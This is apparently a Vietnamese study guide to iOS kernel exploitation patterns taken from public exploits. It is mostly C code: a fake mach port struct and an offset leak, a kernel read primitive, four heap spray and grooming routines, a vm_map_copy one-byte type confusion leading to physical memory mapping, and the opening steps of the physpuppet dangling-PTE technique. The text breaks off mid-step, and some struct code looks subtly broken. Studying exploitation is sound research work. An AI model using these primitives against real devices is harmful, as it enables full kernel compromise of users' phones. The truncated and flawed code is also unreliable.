Tài liệu này phân tích cross-cutting patterns được sử dụng xuyên suốt các exploit từ Ian Beer, Siguza, Brandon Azad, và các threat actors (Operation Triangulation, Coruna, DarkSword). Mỗi pattern kèm actual exploit code trích từ source code thật, struct definitions đầy đủ, và giải thích step-by-step tại sao mỗi kỹ thuật hoạt động.


Pattern 1: Mach Port UAF -> Fake Port -> tfp0

Dùng bởi: v0rtex (Siguza), async_wake (Ian Beer), mach_portal (Ian Beer), SockPuppet, voucher_swap

Đây là pattern phổ biến nhất trong iOS exploitation (iOS 10-13). Sau đó bị mitigate bởi zone_require (iOS 14) nhưng vẫn là nền tảng kỹ thuật quan trọng.

Flow Tổng Quát

1. Trigger vulnerability -> mach port reference count giảm quá 1
2. Port freed nhưng userland vẫn có handle
3. Spray controlled data vào freed port memory
4. Dùng dangling handle -> access fake port
5. Fake port configured as IKOT_TASK -> points to fake task
6. fake task -> map = kernel_map
7. mach_vm_read/write qua fake port = kernel read/write

Complete kport_t Struct Definition (từ v0rtex source)

Đây là struct đầy đủ mà Siguza dùng để fake port. Mỗi field có ý nghĩa cụ thể và phải được set đúng để kernel không panic khi truy cập:

// From v0rtex: https://github.com/Siguza/v0rtex/blob/master/src/v0rtex.m
// Struct mirrors XNU's ipc_port_t layout cho iOS 10.x

typedef struct {
    // --- ipc_object (offset 0x0) ---
    uint32_t ip_bits;           // IO_BITS_ACTIVE | io_object type
    uint32_t ip_references;     // Reference count — must be > 0
    struct {
        uint64_t data;          // Lock data
        uint32_t type;          // Lock type — 0x11 = lck_spin_t
        uint32_t pad;           // <- dùng để encode offset info
    } ip_lock;

    // --- ipc_port specific fields ---
    struct {
        struct {
            struct {
                uint32_t next;      // Queue next pointer
                uint32_t prev;      // Queue prev pointer
                uint32_t name;      // Port name
                uint32_t receiver_name;  // Receiver's name for port
            } port;
            struct {
                uint32_t msgcount;   // Queued message count
                uint32_t qlimit;     // Queue limit
            } port;
        } port;
    } ip_messages;

    uint64_t ip_receiver;       // Pointer to ipc_space
    uint64_t ip_kobject;        // Kernel object pointer (for IKOT_*)
    uint64_t ip_nsrequest;      // No-sender notification request
    uint64_t ip_pdrequest;      // Port-death notification request
    uint64_t ip_requests;       // Request table pointer
    uint64_t ip_context;        // User-settable context value  <-- KEY FIELD
    uint32_t ip_mscount;        // Make-send count
    uint32_t ip_srights;        // Send rights count
    uint32_t ip_sorights;       // Send-once rights count
    uint32_t ip_pad;            // Padding
} kport_t;

Tại sao mỗi field cần giá trị cụ thể

kport_t kport = {
    .ip_bits = 0x80000000,
    //  Bit 31 = IO_BITS_ACTIVE — port phải "active" để kernel sử dụng
    //  Bits 0-15 = io_object type — 0x0000 = IKOT_NONE (safe default)
    //  Nếu set thành 0x80000002 (IKOT_TASK) thì fake port thành task port
    //  NHƯNG: chỉ làm sau khi đã setup fake task struct đầy đủ

    .ip_references = 100,
    //  Phải > 0, nếu không port bị coi là freed
    //  Set = 100 để tránh bất kỳ port_release() nào vô tình free port
    //  Giá trị thấp (vd 1) có thể bị race condition free port giữa các operations

    .ip_lock = { .type = 0x11 },
    //  0x11 = lck_spin_t tag. Kernel check lock type trước khi acquire
    //  Sai lock type -> panic ("lock type mismatch")
    //  .pad field sẽ được overwrite với offset detection value

    .ip_messages.port = {
        .receiver_name = 1,
        //  Phải nonzero — 0 có thể trigger assertion
        .msgcount = MACH_PORT_QLIMIT_KERNEL,
        .qlimit = MACH_PORT_QLIMIT_KERNEL,
        //  Queue limit matching message count -> "queue full"
        //  Ngăn kernel send messages vào fake port (sẽ crash)
    },

    .ip_srights = 99,
    //  Send rights count — kernel checks ip_srights > 0 khi send
    //  Set cao để đảm bảo mọi send operation được phép
};

PoC: ip_context Leak — Detect Offset VA Leak Addresses

Trong zone allocator, một page 0x3000 được chia thành nhiều port objects. Vì sizeof(ipc_port) = 0xa8, alignment tạo ra 3 possible starting offsets trong mỗi page. Siguza dùng ip_context để giải quyết vấn đề này:

// Vấn đề: khi spray fake port data vào freed memory,
// không biết port sẽ nằm tại offset nào trong zone page.
// Zone page 0x3000 bytes, port size 0xa8:
//   Possible offsets: 0x0, 0xa8, 0x150, ... (16 ports per page)
//   Nhưng across page boundaries: port có thể bắt đầu tại 3 offsets
//   relative to spray data

// Giải pháp: encode identification vào 3 fields khác nhau
// Mỗi field tương ứng với 1 possible offset
for (int i = 0; i < num_pages; i++) {
    kport_t *dptr = (kport_t *)spray_data[i];
    for (int j = 0; j < ports_per_page; j++) {
        // Field 1: ip_context — accessible via mach_port_get_context()
        dptr[j].ip_context = (dptr[j].ip_context & 0xffffffff) |
                             ((uint64_t)(0x10000000 | i) << 32);
        // Upper 32 bits: 0x1000_xxxx where xxxx = page index

        // Field 2: ip_messages.port.pad — overlaps ip_context at offset+0xa8
        dptr[j].ip_messages.port.pad = 0x20000000 | i;
        // Marker 0x2 = this is the message pad field

        // Field 3: ip_lock.pad — overlaps ip_context at offset+0x150
        dptr[j].ip_lock.pad = 0x30000000 | i;
        // Marker 0x3 = this is the lock pad field
    }
}

// Detection: read ip_context của dangling port
mach_port_context_t ctx = 0;
kern_return_t kr = mach_port_get_context(mach_task_self(), fakeport, &ctx);

// Kernel reads ip_context field from wherever the port object sits
// Upper nibble tells us WHICH field we're actually reading:
uint32_t upper = (uint32_t)(ctx >> 32);
uint32_t marker = upper >> 28;  // 0x1, 0x2, or 0x3
uint32_t page_idx = upper & 0x0FFFFFFF;

switch (marker) {
    case 0x1:  // We read the real ip_context field
        // Port is at primary offset in page
        break;
    case 0x2:  // We read ip_messages.port.pad
        // Port is at offset+0xa8 relative to our data
        break;
    case 0x3:  // We read ip_lock.pad
        // Port is at offset+0x150 relative to our data
        break;
}
// Now we know EXACTLY where our fake port sits in kernel memory
// => can calculate absolute kernel address of our controlled data

Tại sao ip_context là key field: Kernel cho phép userland đọc/ghi ip_context qua mach_port_get_context() / mach_port_set_context() mà KHÔNG cần quyền đặc biệt. Đây là “oracle” duy nhất để đọc giá trị từ kernel object qua dangling handle.

PoC: KASLR Defeat Qua Object Graph Traversal

// Sau khi biết offset, set fake port thành IKOT_TASK:
kport.ip_bits = 0x80000002;  // IO_BITS_ACTIVE | IKOT_TASK
kport.ip_kobject = fake_task_addr;  // Points to our fake task struct

// Fake task struct: chỉ cần field map = kernel_map
// Chain: realport -> receiver (ipc_space) -> is_task -> itk_registered[0]
//        -> ip_kobject (IOSurfaceRootUserClient) -> vtable -> KASLR slide

uint64_t ipc_space_addr = kread64(realport_addr + OFF_IP_RECEIVER);
uint64_t task_addr = kread64(ipc_space_addr + OFF_IS_TASK);
uint64_t uc_addr = kread64(task_addr + OFF_ITK_REGISTERED);
uint64_t vtable = kread64(uc_addr);  // First qword = vtable pointer
uint64_t kaslr_slide = vtable - KNOWN_VTABLE_OFFSET;
// KNOWN_VTABLE_OFFSET được tính từ unslid kernelcache static analysis

PoC: Kernel Read Primitive Không Cần pid_for_task

// v0rtex innovation: dùng mach_port_set_context + mach_port_get_attributes
// thay vì pid_for_task (cần shared address space, bị block bởi SMAP)
//
// Core insight: ip_context nằm tại offset X trong ipc_port.
// ip_requests->ipr_size nằm tại offset X+8.
// Kernel function ipc_port_request_ssize() reads *(ip_requests + 8)
// mach_port_get_attributes(MACH_PORT_DNREQUESTS_SIZE) calls this function.
//
// Trick: set ip_context = target_addr - 8
// Kernel reads *(ip_context + 8) = *(target_addr) = arbitrary read!

// Ghi target address vào ip_context
mach_port_set_context(mach_task_self(), fakeport, target_addr - 8);
// Kernel writes target_addr - 8 vào ipc_port.ip_context

// Đọc: kernel interpret ip_context overlap với ip_requests
// và đọc ipr_size tại ip_requests + 8 = target_addr
mach_msg_type_number_t outsz = 1;
int value = 0;
mach_port_get_attributes(mach_task_self(), fakeport,
    MACH_PORT_DNREQUESTS_SIZE,
    (mach_port_info_t)&value, &outsz);
// value = 32-bit read from target_addr

// 64-bit read: gọi 2 lần với offset 0 và offset 4
uint64_t kread64(uint64_t addr) {
    uint32_t lo = kread32(addr);
    uint32_t hi = kread32(addr + 4);
    return ((uint64_t)hi << 32) | lo;
}

Pattern 2: Heap Spray & Grooming Techniques

Dùng bởi: Mọi kernel exploit

Heap spray là cơ bản nhất nhưng cũng quan trọng nhất. Mỗi spray technique có đặc tính riêng: zone nào, kích thước nào, có thể free từng phần không, và data có controlled không. Dưới đây là code HOÀN CHỈNH cho 4 phương pháp chính.

2a. OOL Mach Message Spray — Complete Implementation

#include <mach/mach.h>
#include <stdlib.h>
#include <string.h>

// OOL (out-of-line) message spray:
// Khi gửi mach message với OOL data, kernel COPY data vào kalloc zone.
// Size của OOL data quyết định kalloc zone nào được sử dụng.
// Data được giữ cho đến khi message được receive (hoặc port destroyed).
// => Controllable: size, content, lifetime

#define SPRAY_PORTS 1024
#define MSGS_PER_PORT 4

typedef struct {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool;
} ool_msg_t;

// Spray controlled data vào kalloc.{size} zone
// Returns: array of receive ports holding the spray data
kern_return_t spray_kalloc(
    uint32_t target_size,       // Desired allocation size
    void *spray_data,           // Data to spray
    int num_ports,              // Number of ports (= spray count)
    int msgs_per_port,          // Messages per port
    mach_port_t *ports_out)     // Output: array of ports
{
    kern_return_t kr;

    for (int i = 0; i < num_ports; i++) {
        // Allocate receive right — message sits in port queue
        kr = mach_port_allocate(mach_task_self(),
            MACH_PORT_RIGHT_RECEIVE, &ports_out[i]);
        if (kr != KERN_SUCCESS) return kr;

        // Increase queue limit to hold multiple messages
        mach_port_limits_t limits = { .mpl_qlimit = msgs_per_port + 2 };
        mach_port_set_attributes(mach_task_self(), ports_out[i],
            MACH_PORT_LIMITS_INFO,
            (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);

        // Insert send right so we can send to ourselves
        mach_port_insert_right(mach_task_self(), ports_out[i],
            ports_out[i], MACH_MSG_TYPE_MAKE_SEND);

        for (int j = 0; j < msgs_per_port; j++) {
            ool_msg_t msg = {};

            msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX |
                MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
            msg.hdr.msgh_size = sizeof(msg);
            msg.hdr.msgh_remote_port = ports_out[i];
            msg.hdr.msgh_local_port = MACH_PORT_NULL;
            msg.hdr.msgh_id = 0x41414141;

            msg.body.msgh_descriptor_count = 1;

            msg.ool.address = spray_data;
            msg.ool.size = target_size;
            // MACH_MSG_VIRTUAL_COPY: kernel does kalloc(target_size)
            // and copies spray_data into it
            msg.ool.type = MACH_MSG_OOL_DESCRIPTOR;
            msg.ool.deallocate = FALSE;
            msg.ool.copy = MACH_MSG_VIRTUAL_COPY;

            kr = mach_msg(&msg.hdr, MACH_SEND_MSG,
                sizeof(msg), 0, 0, 0, 0);
            if (kr != KERN_SUCCESS) return kr;
        }
    }
    return KERN_SUCCESS;
}

// Free spray entries between [start, end) — tạo holes trong heap
void free_spray_range(mach_port_t *ports, int start, int end) {
    for (int i = start; i < end; i++) {
        // Destroying port frees all queued OOL data
        mach_port_destroy(mach_task_self(), ports[i]);
        ports[i] = MACH_PORT_NULL;
    }
}

// Grooming pattern: spray, create holes, trigger vuln
void groom_example(void) {
    mach_port_t ports[SPRAY_PORTS];
    uint8_t payload[0x100];  // Target: kalloc.256
    memset(payload, 'A', sizeof(payload));
    // Embed fake kernel object data in payload:
    *(uint64_t *)(payload + 0x00) = 0x80000002;  // ip_bits
    *(uint64_t *)(payload + 0x04) = 100;          // ip_references

    // Step 1: Fill kalloc.256 zone
    spray_kalloc(0x100, payload, SPRAY_PORTS, MSGS_PER_PORT, ports);

    // Step 2: Poke holes every 4th port
    for (int i = 0; i < SPRAY_PORTS; i += 4) {
        mach_port_destroy(mach_task_self(), ports[i]);
        ports[i] = MACH_PORT_NULL;
    }

    // Step 3: Trigger vulnerability
    // Freed target object should land in one of our holes
    // trigger_vulnerability();

    // Step 4: Fill holes with new controlled data
    mach_port_t refill_ports[SPRAY_PORTS / 4];
    spray_kalloc(0x100, payload, SPRAY_PORTS / 4, 1, refill_ports);
}

Tại sao OOL spray là phổ biến nhất:

  • Size controllable: bất kỳ size từ 1 byte đến hàng MB
  • Content controllable: exact data được copy vào kernel
  • Lifetime controllable: data tồn tại cho đến khi receive msg hoặc destroy port
  • Easy cleanup: destroy port = free tất cả OOL data của port đó
  • No side effects: không tạo kernel objects phức tạp

2b. OSUnserializeXML Spray (v0rtex, cl0ver) — Complete Implementation

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>

// OSUnserializeXML: kernel function parse XML plist
// Mỗi XML element -> kernel object allocation
// OSString "AAAA..." -> kalloc(strlen + 1 + sizeof(OSString header))
// OSData <data>...</data> -> kalloc(data_len + sizeof(OSData header))
// OSNumber -> inline (no separate allocation)
//
// IOSurface external method 9 (s_set_value) calls OSUnserializeXML
// => Userland can trigger arbitrary kernel heap allocations

// Setup: open IOSurface connection
io_connect_t open_iosurface(void) {
    io_service_t service = IOServiceGetMatchingService(
        kIOMainPortDefault,
        IOServiceMatching("IOSurfaceRoot"));
    io_connect_t conn = IO_OBJECT_NULL;
    IOServiceOpen(service, mach_task_self(), 0, &conn);
    IOObjectRelease(service);
    return conn;
}

// Create IOSurface (needed for property methods)
uint32_t create_surface(io_connect_t conn) {
    char xml[] =
        "<dict>"
        "<key>IOSurfaceAllocSize</key><integer>4096</integer>"
        "<key>IOSurfaceWidth</key><integer>64</integer>"
        "<key>IOSurfaceHeight</key><integer>64</integer>"
        "<key>IOSurfaceBytesPerElement</key><integer>4</integer>"
        "</dict>";

    uint32_t surface_id = 0;
    size_t out_size = sizeof(surface_id);
    IOConnectCallStructMethod(conn, 0 /* s_create_surface */,
        xml, sizeof(xml), &surface_id, &out_size);
    return surface_id;
}

// Spray OSString objects of exact target_size
// Actual kalloc size = target_size (data) + 0x18 (OSString header overhead)
void spray_osstring(io_connect_t conn, uint32_t surface_id,
                    size_t target_data_size, int spray_count,
                    void *payload) {
    for (int i = 0; i < spray_count; i++) {
        // Build XML: <dict><key>spray_N</key><string>PAYLOAD</string></dict>
        size_t xml_size = target_data_size + 256; // Extra for XML tags
        char *xml = malloc(xml_size);

        int hdr_len = snprintf(xml, xml_size,
            "<dict><key>spray_%d</key><string>", i);

        // Copy payload data (binary safe via OSString)
        memcpy(xml + hdr_len, payload, target_data_size);

        // Close tags
        snprintf(xml + hdr_len + target_data_size,
            xml_size - hdr_len - target_data_size,
            "</string></dict>");

        size_t total_len = hdr_len + target_data_size + 15; // 15 = </string></dict>

        // IOSurface external method 9: s_set_value
        // Kernel parses XML -> allocates OSString in kalloc zone
        uint64_t scalar_in[2] = { surface_id, 0 };
        IOConnectCallMethod(conn, 9 /* s_set_value */,
            scalar_in, 2,
            xml, total_len + 1,
            NULL, NULL, NULL, NULL);

        free(xml);
    }
}

// Free specific spray entries by removing IOSurface properties
void free_osstring_spray(io_connect_t conn, uint32_t surface_id,
                         int start, int end) {
    for (int i = start; i < end; i++) {
        char key[64];
        snprintf(key, sizeof(key),
            "<dict><key>spray_%d</key></dict>", i);

        uint64_t scalar_in[2] = { surface_id, 0 };
        IOConnectCallMethod(conn, 11 /* s_remove_value */,
            scalar_in, 2, key, strlen(key) + 1,
            NULL, NULL, NULL, NULL);
    }
}

2c. IOSurface Property Spray (Modern) — Complete Implementation

#include <IOKit/IOKitLib.h>

// IOSurface properties: key-value pairs stored in kernel dictionary
// Khác với OSUnserializeXML spray: data là raw bytes, không phải XML
// Sử dụng external method 9 (SET_VALUE) với serialized input
//
// Ưu điểm so với XML spray:
// - Data chính xác hơn (không bị XML parser modify)
// - Persistent cho đến khi explicitly removed
// - Có thể đọc lại qua external method 10 (GET_VALUE)

struct iosurface_set_value_args {
    uint32_t surface_id;
    uint32_t field_0;       // Padding
    uint32_t key;           // 32-bit key identifier
    uint32_t field_1;       // Padding
    // Followed by inline data
};

void iosurface_spray(io_connect_t client, uint32_t surface_id,
                     void *data, size_t data_size, int count) {
    size_t input_size = sizeof(struct iosurface_set_value_args) + data_size;
    struct iosurface_set_value_args *input = calloc(1, input_size);

    for (int i = 0; i < count; i++) {
        input->surface_id = surface_id;
        input->field_0 = 0;
        input->key = 0x41414141 + i;  // Unique key per spray
        input->field_1 = 0;
        memcpy((char *)input + sizeof(*input), data, data_size);

        // Kernel allocates OSData of data_size in kalloc zone
        // và stores tham chiếu trong IOSurface property dict
        IOConnectCallStructMethod(client, 9 /* SET_VALUE */,
            input, input_size, NULL, NULL);
    }
    free(input);
}

// Free by key: remove specific properties
void iosurface_free(io_connect_t client, uint32_t surface_id,
                    int start, int count) {
    for (int i = start; i < start + count; i++) {
        uint32_t key = 0x41414141 + i;
        uint64_t scalar_in[2] = { surface_id, key };
        IOConnectCallMethod(client, 11 /* REMOVE_VALUE */,
            scalar_in, 2, NULL, 0, NULL, NULL, NULL, NULL);
    }
}

2d. Pipe Buffer Spray — Complete Implementation

#include <unistd.h>
#include <fcntl.h>
#include <string.h>

// Pipe buffers: kernel allocates kalloc buffer khi write() vào pipe
// Size = write size (rounded up to kalloc bucket)
// Data tồn tại cho đến khi read() từ pipe hoặc pipe closed
//
// Ưu điểm:
// - Rất đơn giản (chỉ cần pipe() + write())
// - Không cần IOKit hay mach messages
// - Controllable size và content
// Nhược điểm:
// - Không có metadata — chỉ là raw data buffer
// - Pipe có write limit (default 16 pages = 65536 bytes)
// - Data được copy (không có shared mapping)

#define SPRAY_COUNT 512
#define TARGET_SIZE 256  // -> kalloc.256 zone

void pipe_spray(int pipes[][2], int count, size_t size, void *data) {
    for (int i = 0; i < count; i++) {
        if (pipe(pipes[i]) != 0) {
            // Handle error
            continue;
        }
        // Set non-blocking to avoid deadlock
        fcntl(pipes[i][1], F_SETFL, O_NONBLOCK);

        // Write data -> kernel does kalloc(size) và copies data
        write(pipes[i][1], data, size);
    }
}

void pipe_free_alternating(int pipes[][2], int count) {
    // Free every other pipe -> create holes
    for (int i = 0; i < count; i += 2) {
        close(pipes[i][0]);
        close(pipes[i][1]);
        pipes[i][0] = -1;
        pipes[i][1] = -1;
    }
}

void pipe_read_data(int pipes[][2], int idx, void *buf, size_t size) {
    // Read pipe -> get kernel data that may have been corrupted
    // by adjacent object overflow
    read(pipes[idx][0], buf, size);
}

void pipe_cleanup(int pipes[][2], int count) {
    for (int i = 0; i < count; i++) {
        if (pipes[i][0] >= 0) close(pipes[i][0]);
        if (pipes[i][1] >= 0) close(pipes[i][1]);
    }
}

// Full grooming example
void pipe_groom_example(void) {
    int pipes[SPRAY_COUNT][2];
    uint8_t payload[TARGET_SIZE];
    memset(payload, 0x41, TARGET_SIZE);

    // Step 1: Fill zone
    pipe_spray(pipes, SPRAY_COUNT, TARGET_SIZE, payload);

    // Step 2: Create holes
    pipe_free_alternating(pipes, SPRAY_COUNT);

    // Step 3: Trigger vuln -> corrupted object lands in hole
    // trigger_vulnerability();

    // Step 4: Read back data to detect corruption
    for (int i = 1; i < SPRAY_COUNT; i += 2) {
        uint8_t readback[TARGET_SIZE];
        pipe_read_data(pipes, i, readback, TARGET_SIZE);
        if (memcmp(readback, payload, TARGET_SIZE) != 0) {
            // This pipe's buffer was corrupted by overflow!
            // Analyze readback data for leaked kernel pointers
        }
    }

    pipe_cleanup(pipes, SPRAY_COUNT);
}

So sánh các spray techniques

Technique Zone Size range Content control Free granularity Side effects
OOL msg kalloc.* 1 - MB Full Per-port None
OSUnserializeXML kalloc.* 1 - 64K Full (binary OK) Per-key Creates OSObject
IOSurface prop kalloc.* 1 - 64K Full Per-key IOSurface dict entry
Pipe buffer kalloc.* 1 - 64K Full Per-pipe pair File descriptors used

Pattern 3: vm_map_copy Type Confusion (One Byte)

Dùng bởi: oob_timestamp (Brandon Azad), derivatives

Đặc biệt elegant: 1 byte OOB write -> full physical memory access. Đây là một trong những exploitation techniques đẹp nhất được published.

Complete vm_map_copy Struct (từ XNU source)

// From osfmk/vm/vm_map.h — XNU kernel source
// vm_map_copy là union structure — type field quyết định interpretation

#define VM_MAP_COPY_ENTRY_LIST  1  // Linked list of vm_map_entry
#define VM_MAP_COPY_OBJECT      2  // vm_object (deprecated)
#define VM_MAP_COPY_KERNEL_BUFFER 3  // Inline kernel buffer

struct vm_map_copy {
    int type;                   // Offset 0x00 — TARGET FIELD
    //
    // Little-endian ARM64:
    //   type=1: bytes [0x00] = 0x01, [0x01] = 0x00, [0x02] = 0x00, [0x03] = 0x00
    //   type=3: bytes [0x00] = 0x03, [0x01] = 0x00, [0x02] = 0x00, [0x03] = 0x00
    //
    // => 1-byte write changing [0x00] from 0x03 to 0x01 = type confusion!

    vm_object_offset_t offset;  // Offset 0x08
    vm_map_size_t size;         // Offset 0x10 — interpreted differently per type

    union {
        // --- Type 1: ENTRY_LIST ---
        struct {
            struct vm_map_header hdr;
            // hdr contains: links (head entry), nentries, entries_pageable
            // Kernel walks hdr.links as linked list of vm_map_entry
        };

        // --- Type 3: KERNEL_BUFFER ---
        struct {
            void *kdata;            // Offset 0x18 — pointer to inline data
            vm_size_t kalloc_size;  // Offset 0x20 — size of kalloc allocation
        };
    } c_u;
};

// CRITICAL OVERLAP:
// When type changes 3 -> 1:
//   kdata    (Type 3, offset 0x18) == hdr.links.prev (Type 1, offset 0x18)
//   kalloc_size (Type 3, offset 0x20) == hdr.nentries (Type 1, offset 0x20)
//
// Type 3: kdata = pointer to our controlled data
// Type 1: hdr.links.prev = "pointer to last vm_map_entry"
//
// Kernel treats our controlled data AS IF it were a vm_map_entry!

vm_map_entry Struct (what kernel interprets our data as)

struct vm_map_entry {
    struct vm_map_links {
        struct vm_map_entry *prev;      // Offset 0x00
        struct vm_map_entry *next;      // Offset 0x08
        vm_map_offset_t start;          // Offset 0x10 — virtual start addr
        vm_map_offset_t end;            // Offset 0x18 — virtual end addr
    } links;

    // ... more fields ...
    union {
        vm_object_t vme_object;         // Offset varies
        // OR for pmap_enter path:
        struct {
            vm_map_offset_t vme_offset; // Offset into object
            // ... protection fields, etc.
        };
    };
};

Complete Exploitation Flow

// Step 1: Trigger bug to create vm_map_copy type KERNEL_BUFFER
// Example: mach_vm_read() returns KERNEL_BUFFER vm_map_copy
mach_vm_address_t data_addr;
mach_vm_size_t data_size;
// Data in KERNEL_BUFFER is our controlled content

// Step 2: Craft fake vm_map_entry chain in our data
// This data will be reinterpreted as vm_map_entry linked list
struct fake_entry {
    uint64_t prev;       // -> previous entry or header
    uint64_t next;       // -> next entry or header (for termination)
    uint64_t start;      // Virtual start address (in our process)
    uint64_t end;        // Virtual end address
    // ... fields that control pmap_enter_options() behavior:
    uint64_t object;     // -> NULL or fake object
    uint64_t offset;     // Physical page offset
    uint32_t protection; // VM_PROT_READ | VM_PROT_WRITE
    uint32_t max_protection;
    // ... rest set to safe values
};

// Key: vme entries encode physical page number in offset field
// pmap_enter_options() maps: virtual addr (start) -> physical page (offset)

// Step 3: Trigger 1-byte OOB write -> change type 3 -> type 1
// OOB write target = byte 0 of vm_map_copy struct
// Write value = 0x01 (was 0x03)
trigger_one_byte_overflow(&copy->type);

// Step 4: vm_map_copyout() processes fake entries
// Kernel call path:
//   vm_map_copyout(task_map, &addr, copy)
//     -> vm_map_copyout_internal()
//       -> for each entry in copy->hdr:
//            pmap_enter_options(pmap, virtual_addr, physical_page, ...)
//       -> Maps attacker-specified physical page at virtual_addr
mach_vm_address_t mapped_addr;
vm_map_copyout(mach_task_self(), &mapped_addr, copy);
// mapped_addr now points to physical page we specified!

AMCC Register Technique — Finding Kernel Physical Base

// Problem: We can map arbitrary physical pages, but WHERE is the kernel?
// KASLR randomizes both virtual AND physical kernel base.
//
// Solution: AMCC (Apple Memory Controller Configuration) registers
// are at KNOWN physical addresses and contain KTRR region info.

// AMCC registers (physical addresses, NOT randomized):
#define AMCC_RORGNBASEADDR  0x200000680  // KTRR region base (= kernel __TEXT phys)
#define AMCC_RORGNENDADDR   0x200000688  // KTRR region end

// Step 1: Map AMCC register page
struct fake_entry amcc_entry = {
    .start = our_virtual_addr,
    .end = our_virtual_addr + PAGE_SIZE,
    .offset = AMCC_RORGNBASEADDR & ~(PAGE_SIZE - 1),  // Page-aligned
    .protection = VM_PROT_READ,
};

// After vm_map_copyout:
volatile uint64_t *amcc_page = (uint64_t *)mapped_addr;
uint64_t ktrr_base = amcc_page[(AMCC_RORGNBASEADDR & (PAGE_SIZE - 1)) / 8];
// ktrr_base = physical address of kernelcache __TEXT segment
// This is the kernel's physical base!

// Step 2: Calculate kernel __DATA physical address
// __DATA is NOT KTRR-protected (read-write region)
uint64_t kernel_data_phys = ktrr_base + kernel_data_offset;
// kernel_data_offset known from static analysis of kernelcache

// Step 3: Map kernel __DATA -> full kernel read/write!
struct fake_entry kdata_entry = {
    .start = kernel_rw_addr,
    .end = kernel_rw_addr + KERNEL_DATA_SIZE,
    .offset = kernel_data_phys,
    .protection = VM_PROT_READ | VM_PROT_WRITE,
};

Stability: The “Overlay” Trick

// Problem: vm_map_copyout_internal() holds vm_map lock during processing.
// If fake entry chain is malformed, function panics -> kernel crash.
// Even if chain terminates, the EXISTING vm_map state is corrupted.
//
// Brandon Azad's solution: "overlay" technique

// Step 1: Create fake entry chain that terminates cleanly
// Last entry's next pointer = address of vm_map_copy header
// This makes the loop think it reached the end of the list
fake_entries[last].next = copy_header_addr;
// copy_header_addr.prev = &fake_entries[last]
// Loop: while (entry != &copy->hdr) { process; entry = entry->next; }
// When entry->next == copy_header_addr, loop exits

// Step 2: While blocked thread holds lock, use ANOTHER thread to:
// a) Scan kernel stack of blocked thread (via physrw we just gained)
// b) Find the vm_map_copy pointer on the stack
// c) Replace it with pointer to a CLEAN vm_map_copy
// d) Signal blocked thread to continue

// Step 3: Blocked thread resumes with clean vm_map_copy
// Function processes clean entries -> returns normally -> no panic

// This is why oob_timestamp achieves ~100% reliability:
// Not just "trigger bug" but carefully engineer clean exit path

Pattern 4: Physical UAF (PUAF) Techniques

Dùng bởi: kfd (felix-pb), Dopamine, Trigon, Coruna

Modern pattern thay thế fake port technique trên iOS 15+. Core idea: exploit VM subsystem bug để free một physical page NHƯNG giữ virtual mapping, tạo “dangling PTE” — PTE trỏ đến physical page đã được kernel free và có thể reallocate cho mục đích khác.

Core Concept

VM bug -> physical page freed nhưng virtual mapping retained
-> Kernel reallocate physical page cho object khác
-> Userspace vẫn đọc/ghi qua old virtual mapping
-> Nếu page trở thành page table -> full physrw

                    BEFORE BUG              AFTER BUG
                    ----------              ---------
    VA 0x1234000 -> PA 0xABC000            VA 0x1234000 -> PA 0xABC000 (dangling!)
                    (page in use)                          (page FREED)

                    AFTER REALLOCATION
                    ------------------
    VA 0x1234000 -> PA 0xABC000  <- also used by kernel as L3 page table!
    
    Read/write VA 0x1234000 = Read/write L3 page table entries = physrw

physpuppet PUAF Method — Complete Flow

physpuppet exploit logic bug trong mach_memory_object_memory_entry_64vm_map. Đây là deterministic — không cần race condition.

// ===== STEP 1: Create named memory entry with unaligned size =====
//
// mach_memory_object_memory_entry_64() creates a "named entry" —
// a handle representing a range of physical memory.
// Key: pass size = 2 * PAGE_SIZE + 1 (unaligned!)

mach_port_t named_entry = MACH_PORT_NULL;
memory_object_size_t entry_size = 2 * vm_page_size + 1;  // 0x8001 on 16K pages

kern_return_t kr = mach_memory_object_memory_entry_64(
    mach_host_self(),
    TRUE,                    // internal (allocate physical pages)
    entry_size,              // SIZE = 2*PAGE_SIZE + 1 (unaligned!)
    VM_PROT_DEFAULT,         // protection
    MEMORY_OBJECT_NULL,      // pager
    &named_entry);

// Kernel rounds up internally: actual backing = 3 pages
// But entry_size stored AS-IS (unaligned value 0x8001)

// ===== STEP 2: vm_map with crafted size causing integer overflow =====
//
// Map the named entry into our address space.
// Pass initial_size such that size calculation overflows.

mach_vm_address_t map_addr = 0;
// CRITICAL: size = ~0ULL causes integer overflow in kernel
// Kernel computes: round_page(size) = round_page(0xFFFFFFFFFFFFFFFF)
//   On 16K pages: round_page(~0) = 0 (overflow!)
//   But the ACTUAL mapping uses entry_size from named entry
//   Result: vm_map_entry created with size = 1 page + 1 byte
//   But covers 2 physical pages

kr = vm_map(
    mach_task_self(),
    &map_addr,              // OUT: mapped address
    entry_size,             // size (unaligned, used for VME creation)
    0,                      // mask
    VM_FLAGS_ANYWHERE,      // flags
    named_entry,            // object handle
    0,                      // offset
    FALSE,                  // copy
    VM_PROT_DEFAULT,        // cur_protection
    VM_PROT_DEFAULT,        // max_protection
    VM_INHERIT_NONE);       // inheritance

// map_addr now has a VME covering 2*PAGE_SIZE+1 bytes
// Backed by 2 physical pages (page 0 and page 1)

// ===== STEP 3: Fault both pages to create PTEs =====
//
// Touch both pages to ensure PTE entries exist

volatile uint8_t *p = (volatile uint8_t *)map_addr;
uint8_t dummy;
dummy = p[0];                    // Fault page 0 -> PTE0 created
dummy = p[vm_page_size];         // Fault page 1 -> PTE1 created
// Both PTEs now valid, pointing to physical pages vmp0 and vmp1

// ===== STEP 4: vm_deallocate -> pmap_remove truncates =====
//
// Deallocate the mapping. Kernel calls pmap_remove(start, end).
// BUG: end address is calculated from VME size = 2*PAGE_SIZE + 1
// pmap_remove truncates unaligned end to page boundary:
//   pmap_remove(map_addr, map_addr + 2*PAGE_SIZE + 1)
//   Internally: end = trunc_page(map_addr + 2*PAGE_SIZE + 1)
//            = map_addr + 2*PAGE_SIZE  (truncated!)
//   -> Only removes PTE for page 0 (range = [map_addr, map_addr+2*PAGE_SIZE))
//   -> PTE for page 1 is NOT removed!

kr = vm_deallocate(mach_task_self(), map_addr, entry_size);

// After deallocate:
//   Page 0: PTE removed, physical page freed -> correct
//   Page 1: PTE STILL VALID, physical page freed -> DANGLING PTE!

// ===== STEP 5: Deallocate named entry -> pages freed =====
//
